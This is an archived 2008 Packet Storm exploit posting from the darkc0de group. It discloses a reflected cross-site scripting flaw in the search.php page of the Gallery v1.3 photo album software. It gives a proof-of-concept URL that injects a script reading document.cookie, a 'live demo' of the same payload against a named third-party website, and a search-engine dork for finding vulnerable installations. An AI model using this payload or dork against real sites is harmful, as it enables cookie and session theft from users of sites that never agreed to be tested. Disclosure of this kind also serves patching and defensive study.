gallery-xss.txt

2008-08-22T00:00:00
ID PACKETSTORM:69334
Type packetstorm
Reporter r45c4l
Modified 2008-08-22T00:00:00

Description

                                        
                                            `################################################################   
# .___ __ _______ .___ #   
# __| _/____ _______| | __ ____ \ _ \ __| _/____ #   
# / __ |\__ \\_ __ \ |/ // ___\/ /_\ \ / __ |/ __ \ #   
# / /_/ | / __ \| | \/ <\ \___\ \_/ \/ /_/ \ ___/ #   
# \____ |(______/__| |__|_ \\_____>\_____ /\_____|\____\ #   
# \/ \/ \/ #   
# ___________ ______ _ __ #   
# _/ ___\_ __ \_/ __ \ \/ \/ / #   
# \ \___| | \/\ ___/\ / #   
# \___ >__| \___ >\/\_/ #   
# est.2007 \/ \/ forum.darkc0de.com #   
################################################################   
# -d3hydr8 - sinner_01 - baltazar - P47r1ck - C1c4Tr1Z - beenu #   
# -rsauron - letsgorun - K1u - DON - OutLawz - MAGE -JeTFyrE #   
################################################################   
#   
# Author: r45c4l   
#   
# Home : www.darkc0de.com   
#   
# Email : r45c4l@hotmail.com  
#   
# Share the c0de!   
#   
################################################################   
#   
# Exploit: XSS in Gallery V 1.3   
#   
# Soft.Site: http://gallery.menalto.com/  
#   
# Gallery is a open source web based photo album organizer.A user can run the following script in search.php to get the current cookies.  
#   
# POC:- http://www.site.com/gallery/search.php?=&searchstring=<script>alert(document.cookie);</script>  
#   
# Live Demo:- http://tinyrc.com/gallery/search.php?=&searchstring=<script>alert(document.cookie);</script>  
#   
#  
# Dork:- Powered by Gallery v1.3  
#  
#  
#  
################################################################   
  
`